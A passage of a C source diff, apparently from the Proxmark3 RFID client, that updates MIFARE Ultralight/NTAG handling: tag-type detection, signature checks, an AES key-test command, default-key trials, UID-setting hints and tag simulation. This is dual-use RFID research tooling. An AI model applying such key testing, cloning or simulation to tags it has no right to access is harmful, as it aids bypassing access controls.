+ } else if (signature_len == 48) { + index = originality_check_verify(uid, 7, signature, signature_len, PK_MFULAES); } - - bool is_192_valid = false; - if (signature_len == 48) { - for (i = 0; i < ARRAYLEN(nxp_mfu_192_public_keys); i++) { - int dl = 0; - uint8_t key[PUBLIC_ECDA_192_KEYLEN] = {0}; - param_gethex_to_eol(nxp_mfu_192_public_keys[i].value, 0, key, PUBLIC_ECDA_192_KEYLEN, &dl); - - int res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP192R1, key, uid, 7, signature, signature_len, false); - - is_192_valid = (res == 0); - if (is_192_valid) - break; - } - } - - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("Tag Signature")); - if (is_192_valid) { - PrintAndLogEx(INFO, " IC signature public key name: " _GREEN_("%s"), nxp_mfu_192_public_keys[i].desc); - PrintAndLogEx(INFO, "IC signature public key value: %s", nxp_mfu_192_public_keys[i].value); - PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp192r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, signature_len)); - PrintAndLogEx(SUCCESS, " Signature verification ( " _GREEN_("successful") " )"); - return PM3_SUCCESS; - } - - if (is_valid) { - PrintAndLogEx(INFO, " IC signature public key name: " _GREEN_("%s"), nxp_mfu_public_keys[i].desc); - PrintAndLogEx(INFO, "IC signature public key value: %s", nxp_mfu_public_keys[i].value); - PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp128r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, signature_len)); - PrintAndLogEx(SUCCESS, " Signature verification ( " _GREEN_("successful") " )"); - return PM3_SUCCESS; - } - - PrintAndLogEx(INFO, " Elliptic curve parameters: %s", (signature_len == 48) ? "NID_secp192r1" : "NID_secp128r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, signature_len)); - PrintAndLogEx(SUCCESS, " Signature verification ( " _RED_("fail") " )"); - return PM3_ESOFT; + return originality_check_print(signature, signature_len, index); } static int ulev1_print_version(uint8_t *data) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("Tag Version")); - PrintAndLogEx(INFO, " Raw bytes: %s", sprint_hex(data, 8)); + PrintAndLogEx(INFO, " Raw bytes: " _YELLOW_("%s"), sprint_hex_inrow(data, 8)); PrintAndLogEx(INFO, " Vendor ID: %02X, %s", data[1], getTagInfo(data[1])); PrintAndLogEx(INFO, " Product type: %s", getProductTypeStr(data[2])); PrintAndLogEx(INFO, " Product subtype: %02X, %s", data[3], (data[3] == 1) ? "17 pF" : "50pF"); @@ -1531,25 +1448,22 @@ static int ulev1_print_version(uint8_t *data) { PrintAndLogEx(INFO, " Minor version: %02X", data[5]); PrintAndLogEx(INFO, " Size: %s", getUlev1CardSizeStr(data[6])); PrintAndLogEx(INFO, " Protocol type: %02X%s", data[7], (data[7] == 0x3) ? ", ISO14443-3 Compliant" : ""); + + if (memcmp(data, "\x00\x04\x03\x03\x04\x00\x0F\x03", 8) == 0) { + PrintAndLogEx(INFO, _RED_("Send copy to iceman of this command output!")); + } + return PM3_SUCCESS; } static int ntag_print_counter(void) { - // NTAG has one counter/tearing. At address 0x02. + // NTAG has one counter. At address 0x02. With no tearing. PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("Tag Counter")); - uint8_t tear[1] = {0}; uint8_t counter[3] = {0, 0, 0}; uint16_t len; - len = ulev1_readTearing(0x02, tear, sizeof(tear)); - (void)len; len = ulev1_readCounter(0x02, counter, sizeof(counter)); - (void)len; PrintAndLogEx(INFO, " [02]: %s", sprint_hex(counter, 3)); - PrintAndLogEx(SUCCESS, " - %02X tearing ( %s )" - , tear[0] - , (tear[0] == 0xBD) ? _GREEN_("ok") : _RED_("fail") - ); return len; } @@ -1659,6 +1573,7 @@ static uint64_t ul_magic_test(void) { if ((is_generation & MAGIC_FLAG_GEN_1B) == MAGIC_FLAG_GEN_1B) { return MFU_TT_MAGIC_1B | MFU_TT_MAGIC; } + if ((is_generation & MAGIC_FLAG_NTAG21X) == MAGIC_FLAG_NTAG21X) { return MFU_TT_MAGIC_NTAG21X | MFU_TT_MAGIC; } @@ -1674,6 +1589,10 @@ static char *mfu_generate_filename(const char *prefix, const char *suffix) { } char *fptr = calloc(sizeof(char) * (strlen(prefix) + strlen(suffix)) + sizeof(card.uid) * 2 + 1, sizeof(uint8_t)); + if (fptr == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return NULL; + } strcpy(fptr, prefix); FillFileNameByUID(fptr, card.uid, suffix, card.uidlen); return fptr; @@ -1694,7 +1613,7 @@ static int mfu_dump_tag(uint16_t pages, void **pdata, uint16_t *len) { *pdata = calloc(maxbytes, sizeof(uint8_t)); if (*pdata == NULL) { - PrintAndLogEx(FAILED, "error, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); res = PM3_EMALLOC; goto out; } @@ -1709,8 +1628,9 @@ static int mfu_dump_tag(uint16_t pages, void **pdata, uint16_t *len) { SendCommandMIX(CMD_HF_MIFAREU_READCARD, 0, pages, keytype, key, 4); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); free(*pdata); + *pdata = NULL; res = PM3_ETIMEOUT; goto out; } @@ -1718,6 +1638,7 @@ static int mfu_dump_tag(uint16_t pages, void **pdata, uint16_t *len) { if (resp.oldarg[0] != 1) { PrintAndLogEx(WARNING, "Failed reading card"); free(*pdata); + *pdata = NULL; res = PM3_ESOFT; goto out; } @@ -1733,6 +1654,7 @@ static int mfu_dump_tag(uint16_t pages, void **pdata, uint16_t *len) { if (GetFromDevice(BIG_BUF, *pdata, buffer_size, startindex, NULL, 0, NULL, 2500, false) == false) { PrintAndLogEx(WARNING, "command execution time out"); free(*pdata); + *pdata = NULL; res = PM3_ETIMEOUT; goto out; } @@ -1764,7 +1686,7 @@ typedef struct { } mfu_otp_identify_t; static mfu_otp_identify_t mfu_otp_ident_table[] = { - { "SALTO Systems card", 12, 4, "534C544F", ul_c_otpgenA, NULL }, + { "SALTO Systems card", 12, 4, "534C544F", ul_c_otpgenA, "report to iceman!" }, { NULL, 0, 0, NULL, NULL, NULL } }; @@ -1930,7 +1852,7 @@ static uint8_t mfu_max_len(void) { return n; } -static int mfu_get_version_uid(uint8_t *version, uint8_t *uid) { +int mfu_get_version_uid(uint8_t *version, uint8_t *uid) { iso14a_card_select_t card; if (ul_select(&card) == false) { return PM3_ESOFT; @@ -1965,7 +1887,7 @@ static int mfu_fingerprint(uint64_t tagtype, bool hasAuthKey, const uint8_t *aut maxbytes = ((maxbytes / MFU_BLOCK_SIZE) + 1) * MFU_BLOCK_SIZE; data = calloc(maxbytes, sizeof(uint8_t)); if (data == NULL) { - PrintAndLogEx(ERR, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); res = PM3_EMALLOC; goto out; } @@ -1994,7 +1916,7 @@ static int mfu_fingerprint(uint64_t tagtype, bool hasAuthKey, const uint8_t *aut SendCommandMIX(CMD_HF_MIFAREU_READCARD, 0, pages, keytype, authkey, ak_len); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); res = PM3_ETIMEOUT; goto out; } @@ -2032,9 +1954,9 @@ static int mfu_fingerprint(uint64_t tagtype, bool hasAuthKey, const uint8_t *aut if (item->Pwd) { char s[40] = {0}; snprintf(s, sizeof(s), item->hint, item->Pwd(uid)); - PrintAndLogEx(HINT, "Use `" _YELLOW_("%s") "`", s); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("%s") "`", s); } else { - PrintAndLogEx(HINT, "Use `" _YELLOW_("%s") "`", item->hint); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("%s") "`", item->hint); } } } @@ -2043,16 +1965,16 @@ static int mfu_fingerprint(uint64_t tagtype, bool hasAuthKey, const uint8_t *aut // OTP checks mfu_otp_identify_t *item = mfu_match_otp_fingerprint(uid, data); if (item) { - PrintAndLogEx(SUCCESS, _GREEN_("%s"), item->desc); + PrintAndLogEx(SUCCESS, _BACK_GREEN_(" %s "), item->desc); res = PM3_SUCCESS; if (item->hint) { if (item->otp) { char s[40] = {0}; snprintf(s, sizeof(s), item->hint, item->otp(uid)); - PrintAndLogEx(HINT, "Use `" _YELLOW_("%s") "`", s); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("%s") "`", s); } else { - PrintAndLogEx(HINT, "Use `" _YELLOW_("%s") "`", item->hint); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("%s") "`", item->hint); } } } @@ -2116,14 +2038,55 @@ uint64_t GetHF14AMfU_Type(void) { return MFU_TT_UL_ERROR; // Ultralight - ATQA / SAK - if (card.atqa[1] != 0x00 || card.atqa[0] != 0x44 || card.sak != 0x00) { - //PrintAndLogEx(NORMAL, "Tag is not Ultralight | NTAG | MY-D [ATQA: %02X %02X SAK: %02X]\n", card.atqa[1], card.atqa[0], card.sak); + if (card.atqa[1] != 0x00 || card.sak != 0x00) { + //PrintAndLogEx(NORMAL, "Tag is not Ultralight | NTAG | MY-D |ST25TN [ATQA: %02X %02X SAK: %02X]\n", card.atqa[1], card.atqa[0], card.sak); DropField(); return MFU_TT_UL_ERROR; } + if ((card.uid[0] == 0x02) && (card.atqa[0] == 0x44)) { + // ST25TN + // read SYSBLOCK + uint8_t data[4] = {0x00}; + int status = ul_read(0x02, data, sizeof(data)); + if (status <= 1) { + tagtype = MFU_TT_UL; + } else { + status = ul_read(data[1] + 1, data, sizeof(data)); + if (status <= 1) { + tagtype = MFU_TT_UL; + } else { + // data[3] == KID == 0x05 Key ID + // data[2] == REV == 0x13 Product version + if ((data[1] == 0x90) && (data[0] == 0x90)) { + tagtype = MFU_TT_ST25TN01K; + } else if ((data[1] == 0x90) && (data[0] == 0x91)) { + tagtype = MFU_TT_ST25TN512; + } + } + } - if (card.uid[0] != 0x05) { + } else if ((card.uid[0] == 0x05) && (card.atqa[0] == 0x44)) { + // Infineon MY-D tests Exam high nibble + DropField(); + uint8_t nib = (card.uid[1] & 0xf0) >> 4; + switch (nib) { + // case 0: tagtype = SLE66R35E7; break; //or SLE 66R35E7 - mifare compat... should have different sak/atqa for mf 1k + case 1: + tagtype = MFU_TT_MY_D; + break; // or SLE 66RxxS ... up to 512 pages of 8 user bytes... + case 2: + tagtype = MFU_TT_MY_D_NFC; + break; // or SLE 66RxxP ... up to 512 pages of 8 user bytes... (or in nfc mode FF pages of 4 bytes) + case 3: + tagtype = (MFU_TT_MY_D_MOVE | MFU_TT_MY_D_MOVE_NFC); + break; // or SLE 66R01P // 38 pages of 4 bytes //notice: we can not currently distinguish between these two + case 7: + tagtype = MFU_TT_MY_D_MOVE_LEAN; + break; // or SLE 66R01L // 16 pages of 4 bytes + } + } else { + // Note that SAK might be 0x44 but also e.g. 0x04 for cards in Random ID mode uint8_t version[10] = {0x00}; int len = ulev1_getVersion(version, sizeof(version)); DropField(); @@ -2166,9 +2129,13 @@ uint64_t GetHF14AMfU_Type(void) { NT2L1001G0DUx 0004040102000B03 NT2H1001G0DUx 0004040202000B03 NT2H1311TTDUx 0004040203000F03 - Micron UL 0034210101000E03 - Feiju NTAG 0053040201000F03 - MF0AES2001DUD 0004030104000F03 + MF0AES2001DUD 0004030104000F03 17pF + 0004030204000F03 50pF + 0004030304000F03 75pF + + Micron UL 0034210101000E03 + Feiju NTAG 0053040201000F03 + Feiju NTAG 215 0005340201001103 */ if (memcmp(version, "\x00\x04\x03\x01\x01\x00\x0B", 7) == 0) { tagtype = MFU_TT_UL_EV1_48; break; } @@ -2177,6 +2144,8 @@ uint64_t GetHF14AMfU_Type(void) { else if (memcmp(version, "\x00\x04\x03\x01\x01\x00\x0E", 7) == 0) { tagtype = MFU_TT_UL_EV1_128; break; } else if (memcmp(version, "\x00\x04\x03\x02\x01\x00\x0E", 7) == 0) { tagtype = MFU_TT_UL_EV1_128; break; } else if (memcmp(version, "\x00\x04\x03\x01\x04\x00\x0F\x03", 8) == 0) { tagtype = MFU_TT_UL_AES; break; } + else if (memcmp(version, "\x00\x04\x03\x02\x04\x00\x0F\x03", 8) == 0) { tagtype = MFU_TT_UL_AES; break; } + else if (memcmp(version, "\x00\x04\x03\x03\x04\x00\x0F\x03", 8) == 0) { tagtype = MFU_TT_UL_AES; break; } else if (memcmp(version, "\x00\x34\x21\x01\x01\x00\x0E", 7) == 0) { tagtype = MFU_TT_UL_EV1_128; break; } // Mikron JSC Russia EV1 41 pages tag else if (memcmp(version, "\x00\x04\x04\x01\x01\x00\x0B", 7) == 0) { tagtype = MFU_TT_NTAG_210; break; } else if (memcmp(version, "\x00\x04\x04\x01\x02\x00\x0B", 7) == 0) { tagtype = MFU_TT_NTAG_210u; break; } @@ -2186,6 +2155,7 @@ uint64_t GetHF14AMfU_Type(void) { else if (memcmp(version, "\x00\x53\x04\x02\x01\x00\x0F", 7) == 0) { tagtype = MFU_TT_NTAG_213; break; } // Shanghai Feiju Microelectronics Co. Ltd. China (Xiaomi Air Purifier filter) else if (memcmp(version, "\x00\x04\x04\x02\x01\x01\x0F", 7) == 0) { tagtype = MFU_TT_NTAG_213_C; break; } else if (memcmp(version, "\x00\x04\x04\x02\x01\x00\x11", 7) == 0) { tagtype = MFU_TT_NTAG_215; break; } + else if (memcmp(version, "\x00\x05\x34\x02\x01\x00\x11", 7) == 0) { tagtype = MFU_TT_NTAG_215; break; } // Shanghai Feiju Microelectronics Co. Ltd. China else if (memcmp(version, "\x00\x04\x04\x02\x01\x00\x13", 7) == 0) { tagtype = MFU_TT_NTAG_216; break; } else if (memcmp(version, "\x00\x04\x04\x04\x01\x00\x0F", 7) == 0) { tagtype = MFU_TT_NTAG_213_F; break; } else if (memcmp(version, "\x00\x04\x04\x04\x01\x00\x13", 7) == 0) { tagtype = MFU_TT_NTAG_216_F; break; } @@ -2213,7 +2183,8 @@ uint64_t GetHF14AMfU_Type(void) { break; } - // UL vs UL-C vs ntag203 test + // This is a test from cards that doesn't answer to GET_VERSION command + // UL vs UL-C vs NTAG203 vs FUDAN FM11NT021 (which is NTAG213 compatiable) if (tagtype & (MFU_TT_UL | MFU_TT_UL_C | MFU_TT_NTAG_203)) { if (ul_select(&card) == false) { return MFU_TT_UL_ERROR; @@ -2232,45 +2203,39 @@ uint64_t GetHF14AMfU_Type(void) { } uint8_t data[16] = {0x00}; + // read page 0x26-0x29 (last valid ntag203 page) + // if error response, its ULTRALIGHT since doesn't have that memory block status = ul_read(0x26, data, sizeof(data)); if (status <= 1) { tagtype = MFU_TT_UL; } else { - // read page 0x30 (should error if it is a ntag203) - status = ul_read(0x30, data, sizeof(data)); + + // read page 44 / 0x2C + // if error response, its NTAG203 since doesn't have that memory block + status = ul_read(0x2C, data, sizeof(data)); if (status <= 1) { tagtype = MFU_TT_NTAG_203; } else { - tagtype = MFU_TT_UNKNOWN; + + // read page 48 / 0x30 + // if response, its FUDAN FM11NT021 + status = ul_read(0x30, data, sizeof(data)); + if (status == sizeof(data)) { + tagtype = MFU_TT_NTAG_213; + } else { + tagtype = MFU_TT_UNKNOWN; + } } } DropField(); } } + if (tagtype & MFU_TT_UL) { tagtype = ul_fudan_check(); DropField(); } - } else { - DropField(); - // Infinition MY-D tests Exam high nibble - uint8_t nib = (card.uid[1] & 0xf0) >> 4; - switch (nib) { - // case 0: tagtype = SLE66R35E7; break; //or SLE 66R35E7 - mifare compat... should have different sak/atqa for mf 1k - case 1: - tagtype = MFU_TT_MY_D; - break; // or SLE 66RxxS ... up to 512 pages of 8 user bytes... - case 2: - tagtype = MFU_TT_MY_D_NFC; - break; // or SLE 66RxxP ... up to 512 pages of 8 user bytes... (or in nfc mode FF pages of 4 bytes) - case 3: - tagtype = (MFU_TT_MY_D_MOVE | MFU_TT_MY_D_MOVE_NFC); - break; // or SLE 66R01P // 38 pages of 4 bytes //notice: we can not currently distinguish between these two - case 7: - tagtype = MFU_TT_MY_D_MOVE_LEAN; - break; // or SLE 66R01L // 16 pages of 4 bytes - } } tagtype |= ul_magic_test(); @@ -2372,7 +2337,8 @@ static int CmdHF14AMfUInfo(const char *Cmd) { uint8_t ulc_conf[16] = {0x00}; status = ul_read(0x28, ulc_conf, sizeof(ulc_conf)); if (status <= 0) { - PrintAndLogEx(ERR, "Error: tag didn't answer to READ UL-C"); + PrintAndLogEx(ERR, "Error: tag didn't answer to page 40 read command"); + PrintAndLogEx(HINT, "Hint: tag config may be set to read-protect those pages, try dumping"); DropField(); return PM3_ESOFT; } @@ -2479,6 +2445,38 @@ static int CmdHF14AMfUInfo(const char *Cmd) { } } + // ST25TN info & signature + if (tagtype & (MFU_TT_ST25TN512 | MFU_TT_ST25TN01K)) { + status = ul_read(0x02, data, sizeof(data)); + if (status <= 1) { + PrintAndLogEx(ERR, "Error: tag didn't answer to READ SYSBLOCK"); + DropField(); + return PM3_ESOFT; + } + status = ul_read(data[1] + 1, data, sizeof(data)); + if (status <= 1) { + PrintAndLogEx(ERR, "Error: tag didn't answer to READ SYSBLOCK"); + DropField(); + return PM3_ESOFT; + } + PrintAndLogEx(INFO, "--- " _CYAN_("Tag System Information")); + PrintAndLogEx(INFO, " Key ID: %02x", data[3]); + PrintAndLogEx(INFO, " Product Version: %02x", data[2]); + PrintAndLogEx(INFO, " Product Code: %02x%02x", data[1], data[0]); + uint8_t signature[32] = {0}; + for (int blkoff = 0; blkoff < 8; blkoff++) { + status = ul_read(0x34 + blkoff, signature + (blkoff * 4), 4); + if (status <= 1) { + PrintAndLogEx(ERR, "Error: tag didn't answer to READ SYSBLOCK"); + DropField(); + return PM3_ESOFT; + } + } + // check signature + int index = originality_check_verify_ex(card.uid, 7, signature, sizeof(signature), PK_ST25TN, false, true); + originality_check_print(signature, sizeof(signature), index); + } + // Read signature if ((tagtype & (MFU_TT_UL_EV1_48 | MFU_TT_UL_EV1_128 | MFU_TT_UL_EV1 | MFU_TT_UL_NANO_40 | MFU_TT_NTAG_210u | MFU_TT_NTAG_213 | MFU_TT_NTAG_213_F | MFU_TT_NTAG_213_C | @@ -2640,11 +2638,11 @@ static int CmdHF14AMfUInfo(const char *Cmd) { } if (len < 1) { PrintAndLogEx(WARNING, _YELLOW_("password not known")); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf mfu pwdgen -r`") " to get see known pwd gen algo suggestions"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mfu pwdgen -r`") " to get see known pwd gen algo suggestions"); } } else { if (locked) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf mfu pwdgen -r`") " to get see known pwd gen algo suggestions"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mfu pwdgen -r`") " to get see known pwd gen algo suggestions"); } } } @@ -2656,8 +2654,13 @@ out: if (locked) { PrintAndLogEx(INFO, "\nTag appears to be locked, try using a key to get more info"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf mfu pwdgen -r`") " to get see known pwd gen algo suggestions"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mfu pwdgen -r`") " to get see known pwd gen algo suggestions"); } + + if (tagtype & (MFU_TT_MAGIC_1A | MFU_TT_MAGIC_1B | MFU_TT_MAGIC_2)) { + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`script run hf_mfu_setuid -h`") " to set UID"); + } + PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } @@ -2724,8 +2727,9 @@ static int CmdHF14AMfUWrBl(const char *Cmd) { // starting with getting tagtype uint64_t tagtype = GetHF14AMfU_Type(); - if (tagtype == MFU_TT_UL_ERROR) + if (tagtype == MFU_TT_UL_ERROR) { return PM3_ESOFT; + } uint8_t maxblockno = 0; for (uint8_t idx = 1; idx < ARRAYLEN(UL_TYPES_ARRAY); idx++) { @@ -2776,7 +2780,7 @@ static int CmdHF14AMfUWrBl(const char *Cmd) { if (res == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf mfu rdbl -b %u") "` to verify ", blockno); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mfu rdbl -b %u") "` to verify ", blockno); } } else { @@ -2784,17 +2788,17 @@ static int CmdHF14AMfUWrBl(const char *Cmd) { switch (res) { case PM3_SUCCESS: { PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf mfu rdbl -b %u") "` to verify ", blockno); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mfu rdbl -b %u") "` to verify ", blockno); break; } case PM3_ESOFT: { PrintAndLogEx(FAILED, "Write ( " _RED_("fail") " )"); - PrintAndLogEx(HINT, "Check password / key!"); + PrintAndLogEx(HINT, "Hint: Check password / key!"); break; } case PM3_ETIMEOUT: default: { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); break; } } @@ -2907,7 +2911,7 @@ static int CmdHF14AMfURdBl(const char *Cmd) { PrintAndLogEx(WARNING, "Failed reading block: ( %02x )", isOK); } } else { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); } return PM3_SUCCESS; } @@ -3227,7 +3231,7 @@ static int CmdHF14AMfUDump(const char *Cmd) { SendCommandMIX(CMD_HF_MIFAREU_READCARD, start_page, pages, keytype, authKeyPtr, ak_len); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -3250,7 +3254,7 @@ static int CmdHF14AMfUDump(const char *Cmd) { } if (GetFromDevice(BIG_BUF, data, buffer_size, startindex, NULL, 0, NULL, 2500, false) == false) { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -3263,10 +3267,10 @@ static int CmdHF14AMfUDump(const char *Cmd) { if ((tagtype & MFU_TT_UL_C) == MFU_TT_UL_C) { if (card_mem_size != (pages + 4)) { PrintAndLogEx(INFO, "Partial dump, got " _RED_("%d") " bytes - card mem size is %u bytes", pages * MFU_BLOCK_SIZE, card_mem_size * MFU_BLOCK_SIZE); - PrintAndLogEx(HINT, "Try using a key"); + PrintAndLogEx(HINT, "Hint: Try using a key"); } } else { - PrintAndLogEx(HINT, "Try using a pwd"); + PrintAndLogEx(HINT, "Hint: Try using a password"); } } @@ -3429,7 +3433,7 @@ static void wait4response(uint8_t b) { PrintAndLogEx(WARNING, "failed to write block %d", b); } } else { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); } } @@ -3515,7 +3519,7 @@ int CmdHF14MfUTamper(const char *Cmd) { else PrintAndLogEx(SUCCESS, "Tamper message written successfully"); } else { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); } } @@ -3561,7 +3565,7 @@ int CmdHF14MfUTamper(const char *Cmd) { else PrintAndLogEx(SUCCESS, "Tamper configuration written successfully"); } else { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); } } @@ -3783,7 +3787,7 @@ static int CmdHF14AMfURestore(const char *Cmd) { DropField(); free(dump); - PrintAndLogEx(HINT, "try `" _YELLOW_("hf mfu dump --ns") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mfu dump --ns") "` to verify"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -3819,7 +3823,7 @@ static int CmdHF14AMfUeLoad(const char *Cmd) { int res = CmdHF14AMfELoad(nc); free(nc); - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mfu sim -t 7`") " to simulate an Amiibo."); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mfu sim -t 7`") " to simulate an Amiibo."); PrintAndLogEx(INFO, "Done!"); return res; } @@ -3834,18 +3838,21 @@ static int CmdHF14AMfUSim(const char *Cmd) { "ISO/IEC 14443 type A tag with 4,7 or 10 byte UID\n" "from emulator memory. See `hf mfu eload` first. \n" "The UID from emulator memory will be used if not specified.\n" - "See `hf 14a sim -h` to see available types. You want 2 or 7 usually.", + "See `hf 14a sim -h` to see available types. You want 2, 7 or 13 usually.", "hf mfu sim -t 2 --uid 11223344556677 -> MIFARE Ultralight\n" "hf mfu sim -t 7 --uid 11223344556677 -n 5 -> MFU EV1 / NTAG 215 Amiibo\n" - "hf mfu sim -t 7 -> MFU EV1 / NTAG 215 Amiibo" + "hf mfu sim -t 7 -> MFU EV1 / NTAG 215 Amiibo\n" + "hf mfu sim -t 13 -> MIFARE Ultralight-C\n" ); void *argtable[] = { arg_param_begin, - arg_int1("t", "type", "<1..12> ", "Simulation type to use"), + arg_int1("t", "type", "<1..13> ", "Simulation type to use"), arg_str0("u", "uid", "", "<4|7|10> hex bytes UID"), arg_int0("n", "num", "", "Exit simulation after blocks. 0 = infinite"), arg_lit0("v", "verbose", "Verbose output"), + arg_lit0(NULL, "c1", "UL-C Auth - all zero handshake part 1"), + arg_lit0(NULL, "c2", "UL-C Auth - all zero handshake part 2"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -3862,17 +3869,17 @@ static int CmdHF14AMfUSim(const char *Cmd) { static int CmdHF14AMfUCAuth(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf mfu cauth", - "Tests 3DES password on Mifare Ultralight-C tag.\n" - "If password is not specified, a set of known defaults will be tested.", + "Tests 3DES key on Mifare Ultralight-C tag.\n" + "If key is not specified, a set of known defaults will be tried.", "hf mfu cauth\n" "hf mfu cauth --key 000102030405060708090a0b0c0d0e0f" ); void *argtable[] = { arg_param_begin, - arg_str0(NULL, "key", "", "Authentication key (UL-C 16 hex bytes)"), + arg_str0(NULL, "key", "", "Authentication key (16 bytes in hex)"), arg_lit0("l", NULL, "Swap entered key's endianness"), - arg_lit0("k", NULL, "Keep field on (only if a password is provided)"), + arg_lit0("k", NULL, "Keep field on (only if a key is provided)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -3913,6 +3920,68 @@ static int CmdHF14AMfUCAuth(const char *Cmd) { return PM3_SUCCESS; } +//------------------------------------------------------------------------------- +// Ultralight AES Methods +//------------------------------------------------------------------------------- + +// Ultralight AES Authentication +// +static int CmdHF14AMfUAESAuth(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf mfu aesauth", + "Tests AES key on Mifare Ultralight AES tags.\n" + "If no key is specified, null key will be tried.\n" + " Key index 0... DataProtKey (default)\n" + " Key index 1... UIDRetrKey\n" + " Key index 2... OriginalityKey\n", + "hf mfu aesauth\n" + "hf mfu aesauth --key <16 hex bytes> --idx <0..2>" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0(NULL, "key", "", "AES key (16 hex bytes)"), + arg_int0("i", "idx", "<0..2>", "Key index (def: 0)"), + arg_lit0("k", NULL, "Keep field on (only if a key is provided)"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + int ak_len = 0; + uint8_t authentication_key[16] = {0}; + uint8_t *authKeyPtr = authentication_key; + CLIGetHexWithReturn(ctx, 1, authentication_key, &ak_len); + int key_index = arg_get_int_def(ctx, 2, 0); + bool keep_field_on = arg_get_lit(ctx, 3); + + CLIParserFree(ctx); + + if (ak_len == 0) { + // default to null key + ak_len = 16; + } + if (ak_len != 16) { + PrintAndLogEx(WARNING, "Invalid key length"); + return PM3_EINVARG; + } + + if (key_index < 0 || key_index > 2) { + PrintAndLogEx(WARNING, "Invalid key index"); + return PM3_EINVARG; + } + + int result = ulaes_requestAuthentication(authKeyPtr, key_index, !keep_field_on); + if (result == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "Authentication with " _YELLOW_("%s") " " _GREEN_("%s") " ( " _GREEN_("ok")" )" + , key_type[key_index] + , sprint_hex_inrow(authKeyPtr, ak_len) + ); + } else { + PrintAndLogEx(WARNING, "Authentication with " _YELLOW_("%s") " ( " _RED_("fail") " )", key_type[key_index]); + } + return result; +} + /** A test function to validate that the polarssl-function works the same was as the openssl-implementation. @@ -4049,7 +4118,7 @@ static int CmdHF14AMfUCSetPwd(const char *Cmd) { return PM3_ESOFT; } } else { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } return PM3_SUCCESS; @@ -4090,28 +4159,28 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) { PacketResponseNG resp; clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFAREU_READBL, 2, 0, 0, NULL, 0); - if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { + if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { PrintAndLogEx(WARNING, "Command execute timeout"); return PM3_ETIMEOUT; } // save old block2. uint8_t oldblock2[4] = {0x00}; - memcpy(resp.data.asBytes, oldblock2, 4); + memcpy(oldblock2, resp.data.asBytes, 4); // Enforce bad BCC handling temporarily as BCC will be wrong between // block 1 write and block2 write - hf14a_config config; + hf14a_config_t config; SendCommandNG(CMD_HF_ISO14443A_GET_CONFIG, NULL, 0); - if 